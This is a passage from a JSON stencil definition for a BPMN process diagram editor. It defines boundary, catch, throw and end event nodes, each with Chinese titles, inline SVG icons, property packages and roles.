standalone=\\\"no\\\"?>\\n<svg\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   width=\\\"40\\\"\\n   height=\\\"40\\\"\\n   version=\\\"1.0\\\">\\n  <defs></defs>\\n  <oryx:magnets>\\n  \\t<oryx:magnet oryx:cx=\\\"16\\\" oryx:cy=\\\"16\\\" oryx:default=\\\"yes\\\" />\\n  </oryx:magnets>\\n  <oryx:docker oryx:cx=\\\"16\\\" oryx:cy=\\\"16\\\" />\\n  <g pointer-events=\\\"fill\\\">\\n    <circle \\n    \\tid=\\\"bg_frame\\\" \\n    \\tcx=\\\"16\\\" \\n    \\tcy=\\\"16\\\" \\n    \\tr=\\\"15\\\" \\n    \\tstroke=\\\"#585858\\\" \\n    \\tfill=\\\"#ffffff\\\" \\n    \\tstroke-width=\\\"1\\\"\\n    \\tstyle=\\\"stroke-dasharray: 5.5, 3\\\" />\\n    \\t\\n    <circle \\n    \\tid=\\\"frame2_non_interrupting\\\" \\n    \\tcx=\\\"16\\\" \\n    \\tcy=\\\"16\\\" \\n    \\tr=\\\"12\\\" \\n    \\tstroke=\\\"#585858\\\" \\n    \\tfill=\\\"none\\\" \\n    \\tstroke-width=\\\"1\\\"\\n    \\tstyle=\\\"stroke-dasharray: 4.5, 3\\\" />\\n    \\n    <circle id=\\\"frame\\\" cx=\\\"16\\\" cy=\\\"16\\\" r=\\\"15\\\" stroke=\\\"#585858\\\" fill=\\\"none\\\" stroke-width=\\\"1\\\"/>\\n    <circle id=\\\"frame2\\\" cx=\\\"16\\\" cy=\\\"16\\\" r=\\\"12\\\" stroke=\\\"#585858\\\" fill=\\\"none\\\" stroke-width=\\\"1\\\"/>\\n\\t<path\\n\\t   id=\\\"signalCatching\\\"\\n\\t   stroke=\\\"#585858\\\"\\n       d=\\\"M 8.7124971,21.247342 L 23.333334,21.247342 L 16.022915,8.5759512 L 8.7124971,21.247342 z\\\"\\n       style=\\\"fill:none;stroke-width:1.4;stroke-miterlimit:4;stroke-dasharray:none\\\" />\\n\\t<text font-size=\\\"11\\\" \\n\\t\\tid=\\\"text_name\\\" \\n\\t\\tx=\\\"16\\\" y=\\\"33\\\" \\n\\t\\toryx:align=\\\"top center\\\" \\n\\t\\tstroke=\\\"#373e48\\\"\\n\\t></text>\\n  </g>\\n</svg>\",\n    \"icon\" : \"catching/signal.png\",\n    \"groups\" : [ \"\\u8fb9\\u754c\\u4e8b\\u4ef6\" ],\n    \"propertyPackages\" : [ \"overrideidpackage\", \"namepackage\", \"documentationpackage\", \"signalrefpackage\", \"cancelactivitypackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"sequence_start\", \"BoundaryEventsMorph\", \"IntermediateEventOnActivityBoundary\" ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"BoundaryMessageEvent\",\n    \"title\" : \"\\u8fb9\\u754c\\u7ebf\\u6d88\\u606f\\u4e8b\\u4ef6\",\n    \"description\" : \"\\u6d88\\u606f\\u89e6\\u53d1\\u7684\\u8fb9\\u754c\\u4e8b\\u4ef6\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   width=\\\"40\\\"\\n   height=\\\"40\\\"\\n   version=\\\"1.0\\\">\\n  <defs></defs>\\n  <oryx:magnets>\\n  \\t<oryx:magnet oryx:cx=\\\"16\\\" oryx:cy=\\\"16\\\" oryx:default=\\\"yes\\\" />\\n  </oryx:magnets>\\n  <oryx:docker oryx:cx=\\\"16\\\" oryx:cy=\\\"16\\\" />\\n  <g pointer-events=\\\"fill\\\">\\n    <circle \\n    \\tid=\\\"bg_frame\\\" \\n    \\tcx=\\\"16\\\" \\n    \\tcy=\\\"16\\\" \\n    \\tr=\\\"15\\\" \\n    \\tstroke=\\\"#585858\\\" \\n    \\tfill=\\\"#ffffff\\\" \\n    \\tstroke-width=\\\"1\\\"\\n    \\tstyle=\\\"stroke-dasharray: 5.5, 3\\\" />\\n    \\t\\n    <circle \\n    \\tid=\\\"frame2_non_interrupting\\\" \\n    \\tcx=\\\"16\\\" \\n    \\tcy=\\\"16\\\" \\n    \\tr=\\\"12\\\" \\n    \\tstroke=\\\"#585858\\\" \\n    \\tfill=\\\"none\\\" \\n    \\tstroke-width=\\\"1\\\"\\n    \\tstyle=\\\"stroke-dasharray: 4.5, 3\\\" />\\n    \\t\\n    <circle id=\\\"frame\\\" cx=\\\"16\\\" cy=\\\"16\\\" r=\\\"15\\\" stroke=\\\"#585858\\\" fill=\\\"none\\\" stroke-width=\\\"1\\\"/>\\n    <circle id=\\\"frame2\\\" cx=\\\"16\\\" cy=\\\"16\\\" r=\\\"12\\\" stroke=\\\"#585858\\\" fill=\\\"none\\\" stroke-width=\\\"1\\\"/>\\n    \\n\\t<g id=\\\"messageCatching\\\">\\n\\t\\t<path transform=\\\"translate(7,7)\\\" id=\\\"path1\\\" stroke=\\\"none\\\" fill=\\\"#585858\\\" stroke-width=\\\"1\\\" d=\\\"M 1 3 L 9 11 L 17 3 L 1 3 z M 1 5 L 1 13 L 5 9 L 1 5 z M 17 5 L 13 9 L 17 13 L 17 5 z M 6 10 L 1 15 L 17 15 L 12 10 L 9 13 L 6 10 z \\\"/>\\n\\t</g>\\n\\t<text font-size=\\\"11\\\" \\n\\t\\tid=\\\"text_name\\\" \\n\\t\\tx=\\\"16\\\" y=\\\"33\\\" \\n\\t\\toryx:align=\\\"top center\\\" \\n\\t\\tstroke=\\\"#373e48\\\"\\n\\t></text>\\n\\t\\n  </g>\\n</svg>\",\n    \"icon\" : \"catching/message.png\",\n    \"groups\" : [ \"\\u8fb9\\u754c\\u4e8b\\u4ef6\" ],\n    \"propertyPackages\" : [ \"overrideidpackage\", \"namepackage\", \"documentationpackage\", \"messagerefpackage\", \"cancelactivitypackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"sequence_start\", \"BoundaryEventsMorph\", \"IntermediateEventOnActivityBoundary\" ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"BoundaryCancelEvent\",\n    \"title\" : \"\\u8fb9\\u754c\\u53d6\\u6d88\\u4e8b\\u4ef6\",\n    \"description\" : \"\\u8fb9\\u754c\\u53d6\\u6d88\\u4e8b\\u4ef6\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   width=\\\"40\\\"\\n   height=\\\"40\\\"\\n   version=\\\"1.0\\\">\\n  <defs></defs>\\n  <oryx:magnets>\\n  \\t<oryx:magnet oryx:cx=\\\"16\\\" oryx:cy=\\\"16\\\" oryx:default=\\\"yes\\\" />\\n  </oryx:magnets>\\n  <oryx:docker oryx:cx=\\\"16\\\" oryx:cy=\\\"16\\\" />\\n  <g pointer-events=\\\"fill\\\">\\n  \\n    <circle id=\\\"bg_frame\\\" cx=\\\"16\\\" cy=\\\"16\\\" r=\\\"15\\\" stroke=\\\"#585858\\\" fill=\\\"#ffffff\\\" stroke-width=\\\"1\\\"/>\\n    <circle id=\\\"frame\\\" cx=\\\"16\\\" cy=\\\"16\\\" r=\\\"12\\\" stroke=\\\"#585858\\\" fill=\\\"none\\\" stroke-width=\\\"1\\\"/>\\n    \\n    <path\\n       d=\\\"M 7.2839105,10.27369 L 10.151395,7.4062062 L 15.886362,13.141174 L 21.621331,7.4062056 L 24.488814,10.273689 L 18.753846,16.008657 L 24.488815,21.743626 L 21.621331,24.611111 L 15.886362,18.876142 L 10.151394,24.611109 L 7.283911,21.743625 L 13.018878,16.008658 L 7.2839105,10.27369 z\\\"\\n       id=\\\"cancelCross\\\" fill=\\\"none\\\" stroke=\\\"#585858\\\" stroke-width=\\\"1.7\\\" />\\n\\t<text font-size=\\\"11\\\" \\n\\t\\tid=\\\"text_name\\\" \\n\\t\\tx=\\\"16\\\" y=\\\"33\\\" \\n\\t\\toryx:align=\\\"top center\\\" \\n\\t\\tstroke=\\\"#373e48\\\"\\n\\t></text>\\n  </g>\\n</svg>\",\n    \"icon\" : \"catching/cancel.png\",\n    \"groups\" : [ \"\\u8fb9\\u754c\\u4e8b\\u4ef6\" ],\n    \"propertyPackages\" : [ \"overrideidpackage\", \"namepackage\", \"documentationpackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"sequence_start\", \"BoundaryEventsMorph\", \"IntermediateEventOnActivityBoundary\" ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"BoundaryCompensationEvent\",\n    \"title\" : \"\\u8fb9\\u754c\\u8865\\u507f\\u4e8b\\u4ef6\",\n    \"description\" : \"\\u8fb9\\u754c\\u8865\\u507f\\u4e8b\\u4ef6\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   width=\\\"40\\\"\\n   height=\\\"40\\\"\\n   version=\\\"1.0\\\">\\n  <defs></defs>\\n  <oryx:magnets>\\n  \\t<oryx:magnet oryx:cx=\\\"16\\\" oryx:cy=\\\"16\\\" oryx:default=\\\"yes\\\" />\\n  </oryx:magnets>\\n  <oryx:docker oryx:cx=\\\"16\\\" oryx:cy=\\\"16\\\" />\\n  <g pointer-events=\\\"fill\\\">\\n\\t\\n    <circle id=\\\"bg_frame\\\" cx=\\\"16\\\" cy=\\\"16\\\" r=\\\"15\\\" stroke=\\\"#585858\\\" fill=\\\"#ffffff\\\" stroke-width=\\\"1\\\"/>\\n    <circle id=\\\"frame\\\" cx=\\\"16\\\" cy=\\\"16\\\" r=\\\"12\\\" stroke=\\\"#585858\\\" fill=\\\"#ffffff\\\" stroke-width=\\\"1\\\"/>\\n    \\n    <polygon id=\\\"poly1\\\" stroke=\\\"#585858\\\" fill=\\\"none\\\" stroke-width=\\\"1.4\\\" points=\\\"15,9 15,23 8,16\\\" stroke-linecap=\\\"butt\\\" stroke-linejoin=\\\"miter\\\" stroke-miterlimit=\\\"10\\\" />\\n    <polygon id=\\\"poly2\\\" stroke=\\\"#585858\\\" fill=\\\"none\\\" stroke-width=\\\"1.4\\\" points=\\\"22,9 22,23 15,16\\\" stroke-linecap=\\\"butt\\\" stroke-linejoin=\\\"miter\\\" stroke-miterlimit=\\\"10\\\" />\\n\\t<text font-size=\\\"11\\\" \\n\\t\\tid=\\\"text_name\\\" \\n\\t\\tx=\\\"16\\\" y=\\\"33\\\" \\n\\t\\toryx:align=\\\"top center\\\" \\n\\t\\tstroke=\\\"#373e48\\\"\\n\\t></text>\\n </g>\\n</svg>\",\n    \"icon\" : \"catching/compensation.png\",\n    \"groups\" : [ \"\\u8fb9\\u754c\\u4e8b\\u4ef6\" ],\n    \"propertyPackages\" : [ \"overrideidpackage\", \"namepackage\", \"documentationpackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"BoundaryEventsMorph\", \"IntermediateEventOnActivityBoundary\", \"all\" ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"CatchTimerEvent\",\n    \"title\" : \"\\u4e2d\\u95f4\\u5b9a\\u65f6\\u5668\\u6355\\u83b7\\u4e8b\\u4ef6\",\n    \"description\" : \"\\u5b9a\\u65f6\\u5668\\u89e6\\u53d1\\u7684\\u6355\\u83b7\\u4e8b\\u4ef6\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   width=\\\"40\\\"\\n   height=\\\"40\\\"\\n   version=\\\"1.0\\\">\\n  <defs></defs>\\n  <oryx:magnets>\\n  \\t<oryx:magnet oryx:cx=\\\"16\\\" oryx:cy=\\\"16\\\" oryx:default=\\\"yes\\\" />\\n  </oryx:magnets>\\n  <oryx:docker oryx:cx=\\\"16\\\" oryx:cy=\\\"16\\\" />\\n  <g pointer-events=\\\"fill\\\">\\n    <circle \\n    \\tid=\\\"bg_frame\\\" \\n    \\tcx=\\\"16\\\" \\n    \\tcy=\\\"16\\\" \\n    \\tr=\\\"15\\\" \\n    \\tstroke=\\\"#585858\\\" \\n    \\tfill=\\\"#ffffff\\\" \\n    \\tstroke-width=\\\"1\\\"\\n    \\tstyle=\\\"stroke-dasharray: 5.5, 3\\\" />\\n    \\t\\n    <circle \\n    \\tid=\\\"frame2_non_interrupting\\\" \\n    \\tcx=\\\"16\\\" \\n    \\tcy=\\\"16\\\" \\n    \\tr=\\\"12\\\" \\n    \\tstroke=\\\"#585858\\\" \\n    \\tfill=\\\"none\\\" \\n    \\tstroke-width=\\\"1\\\"\\n    \\tstyle=\\\"stroke-dasharray: 4.5, 3\\\" />\\n    \\n    <circle id=\\\"frame\\\" cx=\\\"16\\\" cy=\\\"16\\\" r=\\\"15\\\" stroke=\\\"#585858\\\" fill=\\\"none\\\" stroke-width=\\\"1\\\"/>\\n    <circle id=\\\"frame2\\\" cx=\\\"16\\\" cy=\\\"16\\\" r=\\\"12\\\" stroke=\\\"#585858\\\" fill=\\\"none\\\" stroke-width=\\\"1\\\"/>\\n    \\n    <path id=\\\"path1\\\" transform=\\\"translate(6,6)\\\"\\n    \\td=\\\"M 10 0 C 4.4771525 0 0 4.4771525 0 10 C 0 15.522847 4.4771525 20 10 20 C 15.522847 20 20 15.522847 20 10 C 20 4.4771525 15.522847 1.1842379e-15 10 0 z M 9.09375 1.03125 C 9.2292164 1.0174926 9.362825 1.0389311 9.5 1.03125 L 9.5 3.5 L 10.5 3.5 L 10.5 1.03125 C 15.063526 1.2867831 18.713217 4.9364738 18.96875 9.5 L 16.5 9.5 L 16.5 10.5 L 18.96875 10.5 C 18.713217 15.063526 15.063526 18.713217 10.5 18.96875 L 10.5 16.5 L 9.5 16.5 L 9.5 18.96875 C 4.9364738 18.713217 1.2867831 15.063526 1.03125 10.5 L 3.5 10.5 L 3.5 9.5 L 1.03125 9.5 C 1.279102 5.0736488 4.7225326 1.4751713 9.09375 1.03125 z M 9.5 5 L 9.5 8.0625 C 8.6373007 8.2844627 8 9.0680195 8 10 C 8 11.104569 8.8954305 12 10 12 C 10.931981 12 11.715537 11.362699 11.9375 10.5 L 14 10.5 L 14 9.5 L 11.9375 9.5 C 11.756642 8.7970599 11.20294 8.2433585 10.5 8.0625 L 10.5 5 L 9.5 5 z \\\"  \\n    \\tfill=\\\"#585858\\\" stroke=\\\"none\\\" />\\n    \\t\\n\\t<text font-size=\\\"11\\\" \\n\\t\\tid=\\\"text_name\\\" \\n\\t\\tx=\\\"16\\\" y=\\\"33\\\" \\n\\t\\toryx:align=\\\"top center\\\" \\n\\t\\tstroke=\\\"#373e48\\\"\\n\\t></text>\\n  </g>\\n</svg>\",\n    \"icon\" : \"catching/timer.png\",\n    \"groups\" : [ \"\\u4e2d\\u95f4\\u6355\\u83b7\\u4e8b\\u4ef6\" ],\n    \"propertyPackages\" : [ \"overrideidpackage\", \"namepackage\", \"documentationpackage\", \"executionlistenerspackage\", \"timercycledefinitionpackage\", \"timerdatedefinitionpackage\", \"timerdurationdefinitionpackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"sequence_start\", \"sequence_end\", \"CatchEventsMorph\", \"all\" ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"CatchSignalEvent\",\n    \"title\" : \"\\u4e2d\\u95f4\\u4fe1\\u53f7\\u6355\\u83b7\\u4e8b\\u4ef6\",\n    \"description\" : \"\\u4fe1\\u53f7\\u89e6\\u53d1\\u7684\\u6355\\u83b7\\u4e8b\\u4ef6\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   width=\\\"40\\\"\\n   height=\\\"40\\\"\\n   version=\\\"1.0\\\">\\n  <defs></defs>\\n  <oryx:magnets>\\n  \\t<oryx:magnet oryx:cx=\\\"16\\\" oryx:cy=\\\"16\\\" oryx:default=\\\"yes\\\" />\\n  </oryx:magnets>\\n  <oryx:docker oryx:cx=\\\"16\\\" oryx:cy=\\\"16\\\" />\\n  <g pointer-events=\\\"fill\\\">\\n    <circle \\n    \\tid=\\\"bg_frame\\\" \\n    \\tcx=\\\"16\\\" \\n    \\tcy=\\\"16\\\" \\n    \\tr=\\\"15\\\" \\n    \\tstroke=\\\"#585858\\\" \\n    \\tfill=\\\"#ffffff\\\" \\n    \\tstroke-width=\\\"1\\\"\\n    \\tstyle=\\\"stroke-dasharray: 5.5, 3\\\" />\\n    \\t\\n    <circle \\n    \\tid=\\\"frame2_non_interrupting\\\" \\n    \\tcx=\\\"16\\\" \\n    \\tcy=\\\"16\\\" \\n    \\tr=\\\"12\\\" \\n    \\tstroke=\\\"#585858\\\" \\n    \\tfill=\\\"none\\\" \\n    \\tstroke-width=\\\"1\\\"\\n    \\tstyle=\\\"stroke-dasharray: 4.5, 3\\\" />\\n    \\n    <circle id=\\\"frame\\\" cx=\\\"16\\\" cy=\\\"16\\\" r=\\\"15\\\" stroke=\\\"#585858\\\" fill=\\\"none\\\" stroke-width=\\\"1\\\"/>\\n    <circle id=\\\"frame2\\\" cx=\\\"16\\\" cy=\\\"16\\\" r=\\\"12\\\" stroke=\\\"#585858\\\" fill=\\\"none\\\" stroke-width=\\\"1\\\"/>\\n\\t<path\\n\\t   id=\\\"signalCatching\\\"\\n\\t   stroke=\\\"#585858\\\"\\n       d=\\\"M 8.7124971,21.247342 L 23.333334,21.247342 L 16.022915,8.5759512 L 8.7124971,21.247342 z\\\"\\n       style=\\\"fill:none;stroke-width:1.4;stroke-miterlimit:4;stroke-dasharray:none\\\" />\\n\\t<text font-size=\\\"11\\\" \\n\\t\\tid=\\\"text_name\\\" \\n\\t\\tx=\\\"16\\\" y=\\\"33\\\" \\n\\t\\toryx:align=\\\"top center\\\" \\n\\t\\tstroke=\\\"#373e48\\\"\\n\\t></text>\\n  </g>\\n</svg>\",\n    \"icon\" : \"catching/signal.png\",\n    \"groups\" : [ \"\\u4e2d\\u95f4\\u6355\\u83b7\\u4e8b\\u4ef6\" ],\n    \"propertyPackages\" : [ \"overrideidpackage\", \"namepackage\", \"documentationpackage\", \"executionlistenerspackage\", \"signalrefpackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"sequence_start\", \"sequence_end\", \"CatchEventsMorph\", \"all\" ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"CatchMessageEvent\",\n    \"title\" : \"\\u4e2d\\u95f4\\u6d88\\u606f\\u6355\\u83b7\\u4e8b\\u4ef6\",\n    \"description\" : \"\\u6d88\\u606f\\u89e6\\u53d1\\u7684\\u6355\\u83b7\\u4e8b\\u4ef6\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   width=\\\"40\\\"\\n   height=\\\"40\\\"\\n   version=\\\"1.0\\\">\\n  <defs></defs>\\n  <oryx:magnets>\\n  \\t<oryx:magnet oryx:cx=\\\"16\\\" oryx:cy=\\\"16\\\" oryx:default=\\\"yes\\\" />\\n  </oryx:magnets>\\n  <oryx:docker oryx:cx=\\\"16\\\" oryx:cy=\\\"16\\\" />\\n  <g pointer-events=\\\"fill\\\">\\n    <circle \\n    \\tid=\\\"bg_frame\\\" \\n    \\tcx=\\\"16\\\" \\n    \\tcy=\\\"16\\\" \\n    \\tr=\\\"15\\\" \\n    \\tstroke=\\\"#585858\\\" \\n    \\tfill=\\\"#ffffff\\\" \\n    \\tstroke-width=\\\"1\\\"\\n    \\tstyle=\\\"stroke-dasharray: 5.5, 3\\\" />\\n    \\t\\n    <circle \\n    \\tid=\\\"frame2_non_interrupting\\\" \\n    \\tcx=\\\"16\\\" \\n    \\tcy=\\\"16\\\" \\n    \\tr=\\\"12\\\" \\n    \\tstroke=\\\"#585858\\\" \\n    \\tfill=\\\"none\\\" \\n    \\tstroke-width=\\\"1\\\"\\n    \\tstyle=\\\"stroke-dasharray: 4.5, 3\\\" />\\n    \\t\\n    <circle id=\\\"frame\\\" cx=\\\"16\\\" cy=\\\"16\\\" r=\\\"15\\\" stroke=\\\"#585858\\\" fill=\\\"none\\\" stroke-width=\\\"1\\\"/>\\n    <circle id=\\\"frame2\\\" cx=\\\"16\\\" cy=\\\"16\\\" r=\\\"12\\\" stroke=\\\"#585858\\\" fill=\\\"none\\\" stroke-width=\\\"1\\\"/>\\n    \\n\\t<g id=\\\"messageCatching\\\">\\n\\t\\t<path transform=\\\"translate(7,7)\\\" id=\\\"path1\\\" stroke=\\\"#585858\\\" fill=\\\"none\\\" stroke-width=\\\"1\\\" d=\\\"M 1 3 L 9 11 L 17 3 L 1 3 z M 1 5 L 1 13 L 5 9 L 1 5 z M 17 5 L 13 9 L 17 13 L 17 5 z M 6 10 L 1 15 L 17 15 L 12 10 L 9 13 L 6 10 z \\\"/>\\n\\t</g>\\n\\t<text font-size=\\\"11\\\" \\n\\t\\tid=\\\"text_name\\\" \\n\\t\\tx=\\\"16\\\" y=\\\"33\\\" \\n\\t\\toryx:align=\\\"top center\\\" \\n\\t\\tstroke=\\\"#373e48\\\"\\n\\t></text>\\n\\t\\n  </g>\\n</svg>\",\n    \"icon\" : \"catching/message.png\",\n    \"groups\" : [ \"\\u4e2d\\u95f4\\u6355\\u83b7\\u4e8b\\u4ef6\" ],\n    \"propertyPackages\" : [ \"overrideidpackage\", \"namepackage\", \"documentationpackage\", \"executionlistenerspackage\", \"messagerefpackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"sequence_start\", \"sequence_end\", \"CatchEventsMorph\", \"all\" ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"ThrowNoneEvent\",\n    \"title\" : \"\\u4e2d\\u95f4\\u7a7a\\u629b\\u51fa\\u4e8b\\u4ef6\",\n    \"description\" : \"\\u4e2d\\u95f4\\u6ca1\\u6709\\u4e00\\u4e2a\\u5177\\u4f53\\u7684\\u89e6\\u53d1\\u4e8b\\u4ef6\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   width=\\\"40\\\"\\n   height=\\\"40\\\"\\n   version=\\\"1.0\\\">\\n  <defs></defs>\\n  <oryx:magnets>\\n  \\t<oryx:magnet oryx:cx=\\\"16\\\" oryx:cy=\\\"16\\\" oryx:default=\\\"yes\\\" />\\n  </oryx:magnets>\\n  <oryx:docker oryx:cx=\\\"16\\\" oryx:cy=\\\"16\\\" />\\n  <g pointer-events=\\\"fill\\\">\\n  \\n    <circle id=\\\"bg_frame\\\" cx=\\\"16\\\" cy=\\\"16\\\" r=\\\"15\\\" stroke=\\\"#585858\\\" fill=\\\"#ffffff\\\" stroke-width=\\\"1\\\"/>\\n    <circle id=\\\"frame\\\" cx=\\\"16\\\" cy=\\\"16\\\" r=\\\"12\\\" stroke=\\\"#585858\\\" fill=\\\"none\\\" stroke-width=\\\"1\\\"/>\\n\\t<text font-size=\\\"11\\\" \\n\\t\\tid=\\\"text_name\\\" \\n\\t\\tx=\\\"16\\\" y=\\\"33\\\" \\n\\t\\toryx:align=\\\"top center\\\" \\n\\t\\tstroke=\\\"#373e48\\\"\\n\\t></text>\\n  </g>\\n</svg>\",\n    \"icon\" : \"throwing/none.png\",\n    \"groups\" : [ \"\\u4e2d\\u95f4\\u6355\\u83b7\\u4e8b\\u4ef6\" ],\n    \"propertyPackages\" : [ \"overrideidpackage\", \"namepackage\", \"documentationpackage\", \"executionlistenerspackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"ThrowEventsMorph\", \"sequence_start\", \"sequence_end\", \"all\" ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"ThrowSignalEvent\",\n    \"title\" : \"\\u4e2d\\u95f4\\u4fe1\\u53f7\\u629b\\u51fa\\u4e8b\\u4ef6\",\n    \"description\" : \"\\u4e2d\\u95f4\\u7684\\u4fe1\\u53f7\\u89e6\\u53d1\\u4e8b\\u4ef6\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   width=\\\"40\\\"\\n   height=\\\"40\\\"\\n   version=\\\"1.0\\\">\\n  <defs></defs>\\n  <oryx:magnets>\\n  \\t<oryx:magnet oryx:cx=\\\"16\\\" oryx:cy=\\\"16\\\" oryx:default=\\\"yes\\\" />\\n  </oryx:magnets>\\n  <oryx:docker oryx:cx=\\\"16\\\" oryx:cy=\\\"16\\\" />\\n  <g pointer-events=\\\"fill\\\">\\n    <circle id=\\\"bg_frame\\\" cx=\\\"16\\\" cy=\\\"16\\\" r=\\\"15\\\" stroke=\\\"#585858\\\" fill=\\\"#ffffff\\\" stroke-width=\\\"1\\\"/>\\n    <circle id=\\\"frame\\\" cx=\\\"16\\\" cy=\\\"16\\\" r=\\\"12\\\" stroke=\\\"#585858\\\" fill=\\\"none\\\" stroke-width=\\\"1\\\"/>\\n    <path\\n\\t   id=\\\"signalThrowing\\\"\\n       d=\\\"M 8.7124971,21.247342 L 23.333334,21.247342 L 16.022915,8.5759512 L 8.7124971,21.247342 z\\\"\\n       fill=\\\"#585858\\\"\\n       stroke=\\\"#585858\\\"\\n       style=\\\"stroke-width:1.4;stroke-miterlimit:4;stroke-dasharray:none\\\" />\\n\\t<text font-size=\\\"11\\\" \\n\\t\\tid=\\\"text_name\\\" \\n\\t\\tx=\\\"16\\\" y=\\\"33\\\" \\n\\t\\toryx:align=\\\"top center\\\" \\n\\t\\tstroke=\\\"#373e48\\\"\\n\\t></text>\\n  </g>\\n</svg>\",\n    \"icon\" : \"throwing/signal.png\",\n    \"groups\" : [ \"\\u4e2d\\u95f4\\u89e6\\u53d1\\u4e8b\\u4ef6\" ],\n    \"propertyPackages\" : [ \"overrideidpackage\", \"namepackage\", \"documentationpackage\", \"executionlistenerspackage\", \"signalrefpackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"ThrowEventsMorph\", \"sequence_start\", \"sequence_end\", \"all\" ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"EndNoneEvent\",\n    \"title\" : \"\\u7ed3\\u675f\\u4e8b\\u4ef6\",\n    \"description\" : \"\\u6ca1\\u6709\\u4e00\\u4e2a\\u5177\\u4f53\\u7684\\u89e6\\u53d1\\u7ed3\\u675f\\u4e8b\\u4ef6\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   width=\\\"40\\\"\\n   height=\\\"40\\\"\\n   version=\\\"1.0\\\">\\n  <defs></defs>\\n  <oryx:magnets>\\n  \\t<oryx:magnet oryx:cx=\\\"16\\\" oryx:cy=\\\"16\\\" oryx:default=\\\"yes\\\" />\\n  </oryx:magnets>\\n  <g pointer-events=\\\"fill\\\">\\n    <circle id=\\\"bg_frame\\\" cx=\\\"16\\\" cy=\\\"16\\\" r=\\\"14\\\" stroke=\\\"#585858\\\" fill=\\\"#ffffff\\\" stroke-width=\\\"3\\\"/>\\n\\t<text font-size=\\\"11\\\" \\n\\t\\tid=\\\"text_name\\\" \\n\\t\\tx=\\\"16\\\" y=\\\"32\\\" \\n\\t\\toryx:align=\\\"top center\\\" \\n\\t\\tstroke=\\\"#373e48\\\"\\n\\t></text>\\n  </g>\\n</svg>\",\n    \"icon\" : \"endevent/none.png\",\n    \"groups\" : [ \"\\u7ed3\\u675f\\u4e8b\\u4ef6\" ],\n    \"propertyPackages\" : [ \"overrideidpackage\", \"namepackage\", \"documentationpackage\", \"executionlistenerspackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"EndEventsMorph\", \"sequence_end\", \"all\" ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"EndErrorEvent\",\n    \"title\" : \"\\u7ed3\\u675f\\u9519\\u8bef\\u4e8b\\u4ef6\",\n    \"description\" : \"\\u629b\\u51fa\\u4e00\\u4e2a\\u9519\\u8bef\\u7ed3\\u675f\\u4e8b\\u4ef6\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   width=\\\"40\\\"\\n   height=\\\"40\\\"\\n   version=\\\"1.0\\\">\\n  <defs></defs>\\n  <oryx:magnets>\\n  \\t<oryx:magnet 